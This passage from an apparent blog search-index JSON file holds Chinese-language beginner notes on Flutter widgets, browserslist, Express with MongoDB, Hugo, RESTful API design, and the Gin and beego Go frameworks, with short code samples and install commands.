createState\ninitState：该钩子为State初始化调用，一般用来初始化State变量的赋值，与服务端交互获取服务端数据以后调用setState来设置初始化State。\ndidChangeDependencies：该钩子在该组件依赖的State发生变化时会被调用（这里的State发生变化指全局State变化，例如当InheritedWidget发送变化），build跟着触发\nbuild：返回需要渲染的Widget，一般有来返回Widget相关逻辑，build会被调用多次\nsetState：当状态发送变化时触发，该钩子被执行后，必然会调用build钩子\nreassemble：该钩子在debug模式下，每次热重载都会执行该钩子，一般来用做一些debug操作\ndidUpdateWidget：该钩子主要是在组件重新构建时调用，例如热重载，该钩子被执行后，必然会调用build钩子\ndeactivate：该钩子在组件被移除节点后会被调用，如果没有插入到其他节点，会继续触发dispose钩子\ndispose：永久移除该组件，释放组件资源，一个组件的生命终点\n在无状态组件中，执行阶段中只有build，也只会执行build函数钩子，因此执行和效率比有状态组件好\n注意：当动态组件更新时，将导致其子组件更新，导致性能问题\n常见组件：\nText: 渲染文本组件\nImage :图片显示组件\nIcon : Icon库组件\nAppBar：页面导航条组件\nRow: 布局组件，使子元素在水平方横向布局\nColumn: 布局组件，使子元素在水平方向纵向布局\nContainer: 容器组件\nExpanded：控制flex布局的占位（用在row或者column组件内部）\nStack：层叠布局组件，在当前组件层叠另一层（和css的z-index类似）\nFadeInImage：加载时的占位组件\nPadding：填充空白区域组件，和css的padding效果类似\nClipRRect：圆角组件，可将子组件处理成圆边角\nText组件，它有TextAlign属性，maxLines属性，overflow属性，style属性\nTextAlign属性就是定义文本对齐方式的，例如：\nchild:Text( 'hallo word', textAlign:TextAlign.center, ) left左，center居中，right右\nmaxLines属性是定义文本显示的最大行数数，例如：\nchild:Text( 'hallo word', textAlign:TextAlign.center, maxLines: 1, ) overflow属性是定义文本溢出时的处理方式，例如：\nchild:Text( 'hallo word', textAlign:TextAlign.center, maxLines: 1, overflow: TextOverflow.ellipsis, ) 注意：Text组件是没有宽度的，文本会撑开Text组件，因此还需要搭配Container组件使用，例如：\nContainer( width: 10, child: Text( \u0026quot;hallo wordhallo wordhallo wordhallo wordhallo wordhallo word\u0026quot;, textAlign: TextAlign.left, overflow: TextOverflow.ellipsis, maxLines: 1, ), ), style属性可以理解成Flutter组件的css（实质上效果都类似css），例如：\nchild:Text( 'hallo word', textAlign: TextAlign.center, style: TextStyle( fontSize: 20.0, // 字体大小20 color: Colors.red, // 字体颜色为红色 decoration: TextDecoration.underline, // 文本下划线 ), ) Container组件，有Alignment属性，padding属性，margin属性和decoration属性\nContainer组件宽度和高度，以及颜色可直接通过width和height属性，color属性来定义\nAlignment属性：该属性是定义Container组件的内容的对齐方式，例如：\nchild:Container( child:new Text('hallo word',style: color: Colors.red,), lignment: Alignment.center, ), 该属性可设置头部对齐方式，底部对齐方式，水平对齐方式，例如topCenter，center，bottomCenter\npadding属性：该属性定义Container组件边缘和子内容的距离，和css的内边距类似，例如：\nchild:Container( child:new Text('hallo word',style: color: Colors.red,), lignment: Alignment.center, padding:const EdgeInsets.all(20.0), // 上下左右边距都为20 ), 如果想单独设置，可padding:const EdgeInsets.fromLTRB(10.0,20.0,30.0,40.0),\n这4个值分别表示左，上，右，下\nmargin属性，自然是定义外边距的，例如margin: const EdgeInsets.all(20.0),\ndecoration属性，用于定义背景，边框，例如：\nchild:Container( child:new Text('hallo word',style: color: Colors.red,), lignment: Alignment.center, padding:const EdgeInsets.all(20.0), // 上下左右边距都为20 decoration:new BoxDecoration( gradient:const LinearGradient( colors:[ Colors.red, // 红色到黑色的渐变 Colors.black, ] ), border:Border.all(width:3.0,color:Colors.black) // 黑色边框，边框宽度为3 ), ), Image组件，加载图片有4种方式，分别为：\nImage.asset 加载项目内图片（相对） Image.file 加载本地图片（绝对） Image.memory 加载Uint8List资源图片 Image.network 加载网络图片\n加载网络图片，例如：\nchild:new Image.network( 'http://xiaochenabc123.test.com/1.jpg', ), 加载本地（或者项目）内图片，例如：\nchild:new Image.file( File(\u0026quot;./1.jpg\u0026quot;) ) Image组件的ImageRepeat属性和fit属性\nImageRepeat属性可设置图片重复，例如铺满整个容器，fit属性可设置图片的拉伸和挤压，例如：全图显示，拉伸填满整个容器\n例子：\nchild:new Image.network( 'http://xiaochenabc123.test.com/1.jpg', // ImageRepeat: ImageRepeat.repeat // 横向和纵向重复，直到填满容器 fit: BoxFit.contain // 显示原比例图片 ), ImageRepeat.repeat: 横向和纵向重复，填满整个容器 ImageRepeat.repeatX: 横向重复，纵向不重复 ImageRepeat.repeatY：纵向重复，横向不重复\nBoxFit.fill: 图片拉伸，并填满父容器。 BoxFit.contain: 显示原比例图片 BoxFit.cover：可能拉伸，裁切（图片填满整个容器，但是不变形） BoxFit.fitWidth：宽度充满（横向填满），图片可能拉伸，裁切 BoxFit.fitHeight ：高度充满（竖向填满）,图片可能拉伸，裁切 BoxFit.scaleDown：显示原比例图片，但是此属性不允许超过源图片大小\nRow组件：水平布局组件，该组件又分为灵活布局和非灵活布局\n灵活布局：使用Expanded（类似于flex效果），解决非灵活布局的空余或者溢出的情况\n非灵活布局：当子元素不足填满时，会有空余位置，当子元素溢出位置了，会警告\n例如：\nbody: Row( children: \u0026lt;Widget\u0026gt;[ Expanded( flex: 1, child: Container( Colors.black, ), ), Expanded( flex: 2, child: Container( Colors.red, ), ), ] ) Column组件：垂直布局组件，例如：\nbody: Column( children: \u0026lt;Widget\u0026gt;[ Text('hallo word'), Text('chenjunlinabc'), ], crossAxisAlignment: CrossAxisAlignment.start, mainAxisAlignment: MainAxisAlignment.center, ), CrossAxisAlignment.star：向左对齐 CrossAxisAlignment.end：向右对齐 CrossAxisAlignment.center：居中对齐\nRow和Column组件都存在主轴（main）和纵轴（Cross）\n主轴（main）：在Row组件中水平就是主轴，在Column组件中垂直就是主轴，\n纵轴（Cross）：和主轴（main）相反，在Row组件中垂直就是纵轴，在Column组件中水平就是纵轴\nStack组件\nStack( children: \u0026lt;Widget\u0026gt;[ Container( width: 100, height: 100, color: Colors.red, ), Container( width: 50, height: 50, color: Colors.black, ), ], ), 可以看到上面的两个子组件相交在一起了，Stack组件一样有Alignment属性，来表示对齐方式\n","permalink":"https://chenjunlinabc.github.io/posts/141/","summary":"Flutter是谷歌开源的跨平台UI框架，可以快速在iOS和Android上构建高质量的原生用户界面，可在Windows，Linux，Android，Web，iOS，Mac等6大平台上开发应用\n闲鱼和Now直播，美团，快手都使用了Flutter\n获取Flutter\nhttps://storage.flutter-io.cn/flutter_infra_release/releases/stable/windows/flutter_windows_2.10.3-stable.zip\n添加path环境变量\n由于Flutter库是在google那，因此需要设置第三方可信镜像库\n设置PUB_HOSTED_URL和FLUTTER_STORAGE_BASE_URL环境变量\nPUB_HOSTED_URL设置为https://pub.flutter-io.cn\nFLUTTER_STORAGE_BASE_URL设置为https://storage.flutter-io.cn\n（flutter-io.cn所提供的镜像由中国的Flutter开发者社区提供和维护）\n其他可信第三方镜像库：\n腾讯云镜像\nPUB_HOSTED_URL（https://mirrors.cloud.tencent.com/dart-pub） FLUTTER_STORAGE_BASE_URL（https://mirrors.cloud.tencent.com/flutter）\n清华大学镜像\nPUB_HOSTED_URL（https://mirrors.tuna.tsinghua.edu.cn/dart-pub） FLUTTER_STORAGE_BASE_URL（https://mirrors.tuna.tsinghua.edu.cn/flutter）\n添加Flutter环境变量path，解压路径\\flutter\\bin\n执行where.exe flutter dart，如果有反应，说明path环境配置完成\n（如果要开发安卓的话，需要安装jdk，Android Studio，Android Jdk，可执行flutter doctor检查依赖（如果是X表示没依赖，需要安装））\n这里用Visual Studio Code的Flutter插件\n创建第一个demo（项目名必须全小写，可用_下划线）\nflutter create flutterdemo\n启动项目（编译执行）\nflutter run\nDart是静态类型语言，它会在定义时绑定数据类型（var）\nDart允许一个类中有多个构造函数，在new初始化时，可选择类的某个构造函数\nDart库管理（pub.dev）,在pubspec.yaml添加库\n实质上Dart和JavaScript很相似，只是它有抽象和泛型（ts也有泛型，抽象类就是类似于golang的接口，只定义不实现）\nDart也是单线程执行，主线程外也有宏任务队列和事件队列（可以理解为JavaScript中的宏任务）\nDart执行过程：执行main()函数，判断是微任务还是事件队列，是微任务则插入微任务队列，是宏任务则插入宏任务队列，执行完成后（主线程），会执行微任务队列和事件队列，以及判断微任务队列和事件队列是否为空，当为空时程序执行结束\nflutter项目下的lib/main.dart，class MyApp类下\n修改为 home: const MyHomePage(title: \u0026lsquo;Hallo word\u0026rsquo;), // 当前title信息\n在return Scaffold下的body: Center下的，修改为children: [const Text(\u0026lsquo;Hallo word\u0026rsquo;,),\n运行后可以看到一个title以及内容都为Hallo word的app\nflutter自带了可视化工具，Dart DevTools\n自己写一个main.dart\nvoid main() =\u0026gt; runApp(MyApp()); class MyApp extends StatelessWidget{ @override Widget build(BuildContext context){ return MaterialApp( title: \u0026quot;hallo word\u0026quot;, // app的title theme: ThemeData( primarySwatch: Colors.","title":"Flutter框架学习笔记"},{"content":"browserslist是查询浏览器列表的工具，browserslisp的配置可写在package.json中，也可以单独写在.browserslistrc配置⽂件中\nbrowserslist的配置文件会被Autoprefixer，Babel，postcss-preset-env，eslint-plugin-compat，stylelint-no-unsupported-browser-features，postcss-normalize，obsolete-webpack-plugin工具读取，并且对配置的目标浏览器做适配工作\nnpx browserslist可查看根据条件输出的浏览器列表\n查看全球用户份额大于0.2%的浏览器\nnpx browserslist \u0026ldquo;\u0026gt; 0.2%\u0026rdquo;\n查询Chrome最新1个版本\nnpx browserslist \u0026ldquo;last 1 Chrome versions\u0026rdquo;\n查看browserslist的默认配置\nnpx browserslist \u0026ldquo;defaults\u0026rdquo;\nbrowserslist的默认配置为\u0026gt; 0.5% and last 2 versions adn Firefox ESR and not dead\nnot dead的意思是不输出官方不再维护的浏览器（例如ie10），dead是不维护，not是不输出\nand就是和，or是或者\nbrowserslist的配置\npackage.json（browserslist官方推荐用这个）\n\u0026quot;browserslist\u0026quot;: [ '\u0026gt; 0.2%', 'last 1 Chrome versions' 'not dead' ] 或者写成\n\u0026quot;browserslist\u0026quot;: [ '\u0026gt; 0.2% and last 1 Chrome versions and not dead', ] .browserslistrc\n\u0026gt; 0.2% and last 1 Chrome versions and not dead browserslist数据的优先级：当前项目的package.json的browserslist，当前项目的.browserslistrc，BROWSERSLIST环境变量，browserslist的defaults\n另外还可以设置development（开发环境），production（生产环境的配置），例如：\n\u0026quot;browserslist\u0026quot;: [ 'development':[ 'last 1 Chrome versions', 'last 1 firefox versions', 'last 1 safari versions', '\u0026gt; 5%', ], 'production': [ 'not dead' ] ] ","permalink":"https://chenjunlinabc.github.io/posts/140/","summary":"browserslist是查询浏览器列表的工具，browserslisp的配置可写在package.json中，也可以单独写在.browserslistrc配置⽂件中\nbrowserslist的配置文件会被Autoprefixer，Babel，postcss-preset-env，eslint-plugin-compat，stylelint-no-unsupported-browser-features，postcss-normalize，obsolete-webpack-plugin工具读取，并且对配置的目标浏览器做适配工作\nnpx browserslist可查看根据条件输出的浏览器列表\n查看全球用户份额大于0.2%的浏览器\nnpx browserslist \u0026ldquo;\u0026gt; 0.2%\u0026rdquo;\n查询Chrome最新1个版本\nnpx browserslist \u0026ldquo;last 1 Chrome versions\u0026rdquo;\n查看browserslist的默认配置\nnpx browserslist \u0026ldquo;defaults\u0026rdquo;\nbrowserslist的默认配置为\u0026gt; 0.5% and last 2 versions adn Firefox ESR and not dead\nnot dead的意思是不输出官方不再维护的浏览器（例如ie10），dead是不维护，not是不输出\nand就是和，or是或者\nbrowserslist的配置\npackage.json（browserslist官方推荐用这个）\n\u0026quot;browserslist\u0026quot;: [ '\u0026gt; 0.2%', 'last 1 Chrome versions' 'not dead' ] 或者写成\n\u0026quot;browserslist\u0026quot;: [ '\u0026gt; 0.2% and last 1 Chrome versions and not dead', ] .browserslistrc\n\u0026gt; 0.2% and last 1 Chrome versions and not dead browserslist数据的优先级：当前项目的package.","title":"browserslist的简单配置"},{"content":"Express是基于nodejs的web应用框架（同时也是node的第三库），同时也是很多web应用框架的底层库，Express是cjs模块标准的http服务框架\n安装\nnpm install express \u0026ndash;save\n或者安装express-generator脚手架\nnpm install -g express-generator\n脚手架：\n初始化项目（demo是项目名）\nexpress demo\n安装依赖\nnpm install\n运行\nnpm start\n如果不使用脚手架（main.js）\nconst express = require(\u0026quot;express\u0026quot;) const app = express() app.get('/',function(req,res){ res.end(\u0026quot;hallo world!\u0026quot;) }) app.listen(3000) 运行\nnode main.js\n或者（监视nodejs应用中的任何更改并自动重启服务）\nnodemon main.js\n访问localhost:3000\n静态文件管理（必须通过/src才能访问src文件夹的静态文件）\napp.use(\u0026rsquo;/src\u0026rsquo;,express.static(\u0026lsquo;src\u0026rsquo;))\n解决跨域问题（依赖于cors模块）\napp.use(require(\u0026lsquo;cors\u0026rsquo;)())\nExpress连接MongoDB（mongoose）\nnpm install mongoose\nconst mongoose = require('mongoose') mongoose.connect('mongodb://localhost:27014/test',{useNewUrlParser: true}) const testdb = mongoose.model('testdb',new mongoose.Schema({ _id: Number, title: String })) /*testdb.inserMany([ {_id: 1, title: \u0026quot;abc\u0026quot;}, {_id: 2, title: \u0026quot;xyz\u0026quot;} {_id: 3, title: \u0026quot;abcxyz\u0026quot;} ])*/ app.get('/test',async function(req,res){ res.send(await testdb.find()) }) 查询MongoDB数据\napp.get('/test',async function(req,res){ // const data = await testdb.find().skip(1).limit(2) /* const data = await testdb.find().where({ title: 'abc' */ const data = await testdb.find().sort({ _id: -1 }) res.send(data) }) skip(1)跳过多少条，limit(2)显示多少条，where()可指定查询某个字段为某个值的数据，sort()表示排序的顺序（1为正序，-1为倒序）\napp.get('/test/:id',async function(req,res){ const data = await testdb.findById(req.params.id) res.send(data) }) 访问localhost:3000/test/2\n注意：req和res的区别，req是客户端请求，res是服务端响应\n插入数据到MongoDB中\napp.use(express.json()) // 通过express.json()中间件，解析body中的json数据 app.post('/admin' async function(req,res){ const data = req.body // 获取前端post请求的body数据 const dataMain = await testdb.create(data) // body数据create到MongoDB数据库中 res.send(dataMain) }) 修改MongoDB数据\napp.put('/admin/:id' async function(req,res){ const data = await testdb.findById(req.params.id) // 寻找目标id data.title = req.body.title // 将请求body的title赋值到数据库中的目标id的title await data.save() // 保存到数据库中 res.send(data) }) 删除MongoDB数据\napp.delete('/admin/:id' async function(req,res){ const data = await testdb.findById(req.params.id) // 寻找目标id await data.remove() // 从数据库中删除该数据 res.send({ code: 200 }) }) ","permalink":"https://chenjunlinabc.github.io/posts/138/","summary":"Express是基于nodejs的web应用框架（同时也是node的第三库），同时也是很多web应用框架的底层库，Express是cjs模块标准的http服务框架\n安装\nnpm install express \u0026ndash;save\n或者安装express-generator脚手架\nnpm install -g express-generator\n脚手架：\n初始化项目（demo是项目名）\nexpress demo\n安装依赖\nnpm install\n运行\nnpm start\n如果不使用脚手架（main.js）\nconst express = require(\u0026quot;express\u0026quot;) const app = express() app.get('/',function(req,res){ res.end(\u0026quot;hallo world!\u0026quot;) }) app.listen(3000) 运行\nnode main.js\n或者（监视nodejs应用中的任何更改并自动重启服务）\nnodemon main.js\n访问localhost:3000\n静态文件管理（必须通过/src才能访问src文件夹的静态文件）\napp.use(\u0026rsquo;/src\u0026rsquo;,express.static(\u0026lsquo;src\u0026rsquo;))\n解决跨域问题（依赖于cors模块）\napp.use(require(\u0026lsquo;cors\u0026rsquo;)())\nExpress连接MongoDB（mongoose）\nnpm install mongoose\nconst mongoose = require('mongoose') mongoose.connect('mongodb://localhost:27014/test',{useNewUrlParser: true}) const testdb = mongoose.model('testdb',new mongoose.Schema({ _id: Number, title: String })) /*testdb.inserMany([ {_id: 1, title: \u0026quot;abc\u0026quot;}, {_id: 2, title: \u0026quot;xyz\u0026quot;} {_id: 3, title: \u0026quot;abcxyz\u0026quot;} ])*/ app.","title":"简单使用Express-Web应用框架"},{"content":"Hugo是基于Go语言开发的静态网站生成器，特点就是快\n安装\n二进制文件安装（由官方编译完成的二进制文件来安装，推荐使用，用源码容易出现问题）\nhttps://github.com/gohugoio/hugo/releases\n源码安装\ngit clone https://github.com/gohugoio/hugo.git\ncd hugo\ngo install\n检查是否安装完成 hugo -v，如果需要支持SASS/SCSS，请添加\u0026ndash;tags extended参数，不过在这之前需要CGO的依赖（或者使用hugo_extended版本）\n如果没安装CGO，请先安装CGO，这里使用的是mingw64，CGO_ENABLED环境变量为1\n生成站点\nhugo new site ./www\n创建文章（默认自动生成md文件到content文件夹中，可选择目录）\nhugo new post/hallo.md\n如果没有显示文章的话，请将文章的draft字段改为false，因为这个是草稿，草稿是不会显示在页面上的\n安装主题\ngit clone https://github.com/miiiku/hugo-theme-kagome.git ./themes/kagome\n修改config.toml文件\nbaseURL = \u0026lsquo;https://blog.xiaochenabc123.test.com\u0026rsquo; languageCode = \u0026lsquo;zh-CN\u0026rsquo; title = \u0026lsquo;小陈的博客\u0026rsquo; theme = \u0026ldquo;kagome\u0026rdquo;\n启动Hugo服务器\nhugo server\n访问http://localhost:1313\n如果报错，you need the extended version to build SCSS/SASS的话，请使用extended版本\n部署到github pages\nhugo \u0026ndash;baseUrl=\u0026ldquo;http://chenjunlinabc.github.io/\u0026quot;\n如果该命令执行成功，会将静态页面生成到public文件夹中，只需要push该文件夹到github上就好了\n","permalink":"https://chenjunlinabc.github.io/posts/137/","summary":"Hugo是基于Go语言开发的静态网站生成器，特点就是快\n安装\n二进制文件安装（由官方编译完成的二进制文件来安装，推荐使用，用源码容易出现问题）\nhttps://github.com/gohugoio/hugo/releases\n源码安装\ngit clone https://github.com/gohugoio/hugo.git\ncd hugo\ngo install\n检查是否安装完成 hugo -v，如果需要支持SASS/SCSS，请添加\u0026ndash;tags extended参数，不过在这之前需要CGO的依赖（或者使用hugo_extended版本）\n如果没安装CGO，请先安装CGO，这里使用的是mingw64，CGO_ENABLED环境变量为1\n生成站点\nhugo new site ./www\n创建文章（默认自动生成md文件到content文件夹中，可选择目录）\nhugo new post/hallo.md\n如果没有显示文章的话，请将文章的draft字段改为false，因为这个是草稿，草稿是不会显示在页面上的\n安装主题\ngit clone https://github.com/miiiku/hugo-theme-kagome.git ./themes/kagome\n修改config.toml文件\nbaseURL = \u0026lsquo;https://blog.xiaochenabc123.test.com\u0026rsquo; languageCode = \u0026lsquo;zh-CN\u0026rsquo; title = \u0026lsquo;小陈的博客\u0026rsquo; theme = \u0026ldquo;kagome\u0026rdquo;\n启动Hugo服务器\nhugo server\n访问http://localhost:1313\n如果报错，you need the extended version to build SCSS/SASS的话，请使用extended版本\n部署到github pages\nhugo \u0026ndash;baseUrl=\u0026ldquo;http://chenjunlinabc.github.io/\u0026quot;\n如果该命令执行成功，会将静态页面生成到public文件夹中，只需要push该文件夹到github上就好了","title":"简单使用Hugo搭建网站"},{"content":"RESTful是指满足REST的约束条件和原则的应用或者设计，REST全称Representational State Transfer（表现层状态转移），REST出现在2000年Roy Fielding的博士论文中（Roy Fielding是HTTP规范的主要编写者之一），RESTful是目前最流行的API设计规范\n资源(Resources)：REST是基于资源的，不同的资源使用不同且唯一的URI(统一资源标识符（Uniform Resource Identifier），URI格式例如：/img/hallo.jpg，可表示一个资源的路径和资源名称，URI实质上就是URL加URN)表示，获取资源通过访问URI得到，这个资源可以是任何东西（例如txt，exe，iso，mp3，mp4等等）\n表示层(Representation)：表示层指是将资源具体内容以某种方式展现出来的，例如hallo.mp3，那么就会用mp3的格式来展现这个文件的内容\n状态转换(State Transfer)：如果希望客户端通过某种请求方式来让服务端表示层的资源发生改变，这就是状态转换，这请求方式分别为GET（获取资源），POST（新建资源），PUT（更新资源），DELETE（删除资源）\nRESTful设计规范的六个规范：\n1.客户端/服务端(C/S)关注点分离，客户端专注于用户的操作界面，服务端专注于数据存储\n2.无状态，要求客户端的每个请求都要拥有完成请求的全部信息，服务端不用存储任何上下文信息，会话信息存储在客户端上\n3.统一接口（Uniform Interface），要求使用具备REST规范（资源标识符，资源状态的修改，具备描述资源怎么操作处理的信息，客户端应使用超链接的方式来动态访问其他资源）的接口\n4.可缓存（Cache），允许服务端响应可被缓存或者不可缓存（必须明确是否可缓存），如果响应可缓存，客户端可以根据有效缓存时间，来复用响应，减少前后端交互\n5.分层系统，不允许跨层访问（访问不相邻的层）\n6.按需编码（可选，可理解为按需扩展客户端功能），允许服务端提供一些脚本来扩展客户端功能（例如JavaScript）\napi接口统一域名（推荐使用api.xiaochenabc123.test.com这样的格式）\nURI（不使用大写，使用中杆-，资源名字是复数名词，资源实体集合，不能出现动词）\nHTTP请求方式（不同的操作使用不同的请求方式，例如获取资源使用get，post新建资源等等）\n如果资源庞大，可通过get参数的形式获取（例如分页），API的版本号应该放在URI中，更改资源，应该修改资源版本号，原有的URI应该保持继续可用\n需正确设置http状态码，根据http状态码来做出不同的响应，例如200正常返回，404文件不存在等等\n简单来说就是使用唯一接口，通过URL来访问不同的资源，通过不同的请求方式对资源做出响应\n","permalink":"https://chenjunlinabc.github.io/posts/136/","summary":"RESTful是指满足REST的约束条件和原则的应用或者设计，REST全称Representational State Transfer（表现层状态转移），REST出现在2000年Roy Fielding的博士论文中（Roy Fielding是HTTP规范的主要编写者之一），RESTful是目前最流行的API设计规范\n资源(Resources)：REST是基于资源的，不同的资源使用不同且唯一的URI(统一资源标识符（Uniform Resource Identifier），URI格式例如：/img/hallo.jpg，可表示一个资源的路径和资源名称，URI实质上就是URL加URN)表示，获取资源通过访问URI得到，这个资源可以是任何东西（例如txt，exe，iso，mp3，mp4等等）\n表示层(Representation)：表示层指是将资源具体内容以某种方式展现出来的，例如hallo.mp3，那么就会用mp3的格式来展现这个文件的内容\n状态转换(State Transfer)：如果希望客户端通过某种请求方式来让服务端表示层的资源发生改变，这就是状态转换，这请求方式分别为GET（获取资源），POST（新建资源），PUT（更新资源），DELETE（删除资源）\nRESTful设计规范的六个规范：\n1.客户端/服务端(C/S)关注点分离，客户端专注于用户的操作界面，服务端专注于数据存储\n2.无状态，要求客户端的每个请求都要拥有完成请求的全部信息，服务端不用存储任何上下文信息，会话信息存储在客户端上\n3.统一接口（Uniform Interface），要求使用具备REST规范（资源标识符，资源状态的修改，具备描述资源怎么操作处理的信息，客户端应使用超链接的方式来动态访问其他资源）的接口\n4.可缓存（Cache），允许服务端响应可被缓存或者不可缓存（必须明确是否可缓存），如果响应可缓存，客户端可以根据有效缓存时间，来复用响应，减少前后端交互\n5.分层系统，不允许跨层访问（访问不相邻的层）\n6.按需编码（可选，可理解为按需扩展客户端功能），允许服务端提供一些脚本来扩展客户端功能（例如JavaScript）\napi接口统一域名（推荐使用api.xiaochenabc123.test.com这样的格式）\nURI（不使用大写，使用中杆-，资源名字是复数名词，资源实体集合，不能出现动词）\nHTTP请求方式（不同的操作使用不同的请求方式，例如获取资源使用get，post新建资源等等）\n如果资源庞大，可通过get参数的形式获取（例如分页），API的版本号应该放在URI中，更改资源，应该修改资源版本号，原有的URI应该保持继续可用\n需正确设置http状态码，根据http状态码来做出不同的响应，例如200正常返回，404文件不存在等等\n简单来说就是使用唯一接口，通过URL来访问不同的资源，通过不同的请求方式对资源做出响应","title":"简单了解RESTful设计规范"},{"content":"Gin是一个基于go语言编写的web框架，因为Gin的路由库基于httprouter开发的，性能非常好，支持Restful api规范\n安装\ngo get -u github.com/gin-gonic/gin\n第一个demo\npackage main import \u0026quot;github.com/gin-gonic/gin\u0026quot; import \u0026quot;net/http\u0026quot; func main() { g := gin.Default() g.GET(\u0026quot;/\u0026quot;, func(c *gin.Context) { c.String(http.StatusOK, \u0026quot;hallo word\u0026quot;) }) g.Run() } go run main.go\ng.Run()是将应用部署到本地服务器上，默认端口为8080，可设置端口，g.Run(\u0026quot;:2333\u0026quot;)\n路由\nr.GET(\u0026quot;/test/:name\u0026quot;, func(c *gin.Context) { name := c.Param(\u0026quot;name\u0026quot;) c.String(http.StatusOK, name) }) g.Run(\u0026quot;:6666\u0026quot;) 127.0.0.1:6666/test/xiaochen\n可以看到Context的Param方法可以获取路由的参数\n通过url传递参数\nr.GET(\u0026quot;/test\u0026quot;, func(c *gin.Context) { name := c.DefaultQuery(\u0026quot;name\u0026quot;, \u0026quot;test\u0026quot;) c.String(http.StatusOK, fmt.Sprintf(\u0026quot;hallo %s\u0026quot;, name)) }) r.Run() 127.0.0.1:6666/test\n如果没有传递参数将会输出DefaultQuery的默认参数test\n传递参数后 127.0.0.1:6666/test?name=word\nPOST请求\nindex.html main.go\nr.POST(\u0026quot;/form\u0026quot;, func(c *gin.Context) { types := c.DefaultPostForm(\u0026quot;type\u0026quot;, \u0026quot;post\u0026quot;) user := c.PostForm(\u0026quot;user\u0026quot;) pass := c.PostForm(\u0026quot;pass\u0026quot;) c.String(http.StatusOK, fmt.Sprintf(\u0026quot;user:%s,pass:%s,type:%s\u0026quot;, name, pass, types)) }) r.Run() ","permalink":"https://chenjunlinabc.github.io/posts/135/","summary":"Gin是一个基于go语言编写的web框架，因为Gin的路由库基于httprouter开发的，性能非常好，支持Restful api规范\n安装\ngo get -u github.com/gin-gonic/gin\n第一个demo\npackage main import \u0026quot;github.com/gin-gonic/gin\u0026quot; import \u0026quot;net/http\u0026quot; func main() { g := gin.Default() g.GET(\u0026quot;/\u0026quot;, func(c *gin.Context) { c.String(http.StatusOK, \u0026quot;hallo word\u0026quot;) }) g.Run() } go run main.go\ng.Run()是将应用部署到本地服务器上，默认端口为8080，可设置端口，g.Run(\u0026quot;:2333\u0026quot;)\n路由\nr.GET(\u0026quot;/test/:name\u0026quot;, func(c *gin.Context) { name := c.Param(\u0026quot;name\u0026quot;) c.String(http.StatusOK, name) }) g.Run(\u0026quot;:6666\u0026quot;) 127.0.0.1:6666/test/xiaochen\n可以看到Context的Param方法可以获取路由的参数\n通过url传递参数\nr.GET(\u0026quot;/test\u0026quot;, func(c *gin.Context) { name := c.DefaultQuery(\u0026quot;name\u0026quot;, \u0026quot;test\u0026quot;) c.String(http.StatusOK, fmt.Sprintf(\u0026quot;hallo %s\u0026quot;, name)) }) r.Run() 127.0.0.1:6666/test\n如果没有传递参数将会输出DefaultQuery的默认参数test\n传递参数后 127.0.0.1:6666/test?name=word\nPOST请求\nindex.html main.go","title":"Gin框架学习笔记"},{"content":"beego是一个基于go语言开发的http框架，beego可用于开发web，api，后端服务等等应用，beego架构为mvc模型，支持RESTful api规范设计，支持热更新\n安装\ngo get github.com/beego/beego\ngo get github.com/beego/bee\n检查是否安装完成\nbee version\nbeego项目可使用bee指令来创建和管理\n创建第一个web应用\nbee new hallo\nbeego是基于mvc模型的，因此其构建出来的项目文件也是标准mvc模型文件结构，其中main.go是入口文件\n执行go mod tidy，生成go.sum\n启动项目（bee run指令会自动编译部署）\nbee run\n访问http://127.0.0.1:8080/\n其他常用beeg指令\n创建api应用\nbee api apitest\n打包应用命令（将项目打包压缩）\nbee pack\n自动生成代码\nbee generate\ncontroller控制器\n简单接收一下get请求的参数\ncontrollers/default.go，在func (c *MainController) Get() 函数中修改\nname := c.GetString(\u0026quot;name\u0026quot;) c.Data[\u0026quot;Website\u0026quot;] = name 访问http://127.0.0.1:8080/?name=hallo，views\\index.tpl的模板中的{{.Website}}被设置为hallo\n在controllers/default.go看到，其定义了一个MainController结构体，该结构体继承了beego.Controller的全部方法（其中方法包括Get，Post等等方法）\nModel模型\n在bee new中并没有Model实例演示，但是bee api有，而且controller控制器可完成一些简单逻辑，只有当逻辑需要复用时才抽象成Model模型\nView视图\n在controllers/default.go看到c.TplName = \u0026ldquo;index.tpl\u0026rdquo;，这个语句就是设置模板文件，该模板支持tpl和html文件，beego使用了golang默认的模板引擎\n在views/index.tpl中可以看到这个\n\u0026lt;div class=\u0026quot;author\u0026quot;\u0026gt; Official website: \u0026lt;a href=\u0026quot;http://{{.Website}}\u0026quot;\u0026gt;{{.Website}}\u0026lt;/a\u0026gt; / Contact me: \u0026lt;a class=\u0026quot;email\u0026quot; href=\u0026quot;mailto:{{.Email}}\u0026quot;\u0026gt;{{.Email}}\u0026lt;/a\u0026gt; \u0026lt;/div\u0026gt; 在controller中，定义了数据，并且该数据赋值给Data，在模板文件中通过{{.Email}}来访问到数据\n数据库交互\nbee generate scaffold test -fields=\u0026ldquo;id:int64,name:string\u0026rdquo; -driver=mysql -conn=\u0026ldquo;root:root@tcp(127.0.0.1:3306)/test\u0026rdquo;\n上面这个命令会自动生成代码，其中-fields参数为字段，-driver为引擎，-conn为数据库登录信息\n如果没有打错指令，会提示是否创建mvc模型的文件，根据提示选择是否要创建\n在models下的test.go文件，可以看到已经添加了管理数据库的函数\n静态文件的引用\nbeego默认使用static目录作为静态文件的目录，在main.go文件中beego.Run()之前配置StaticDir[\u0026quot;/static\u0026quot;] = \u0026ldquo;static\u0026rdquo;\n如果有多个静态文件目录，可使用beego.SetStaticPath(\u0026quot;/test\u0026quot;, \u0026ldquo;test\u0026rdquo;)\n","permalink":"https://chenjunlinabc.github.io/posts/134/","summary":"beego是一个基于go语言开发的http框架，beego可用于开发web，api，后端服务等等应用，beego架构为mvc模型，支持RESTful api规范设计，支持热更新\n安装\ngo get github.com/beego/beego\ngo get github.com/beego/bee\n检查是否安装完成\nbee version\nbeego项目可使用bee指令来创建和管理\n创建第一个web应用\nbee new hallo\nbeego是基于mvc模型的，因此其构建出来的项目文件也是标准mvc模型文件结构，其中main.go是入口文件\n执行go mod tidy，生成go.sum\n启动项目（bee run指令会自动编译部署）\nbee run\n访问http://127.0.0.1:8080/\n其他常用beeg指令\n创建api应用\nbee api apitest\n打包应用命令（将项目打包压缩）\nbee pack\n自动生成代码\nbee generate\ncontroller控制器\n简单接收一下get请求的参数\ncontrollers/default.go，在func (c *MainController) Get() 函数中修改\nname := c.GetString(\u0026quot;name\u0026quot;) c.Data[\u0026quot;Website\u0026quot;] = name 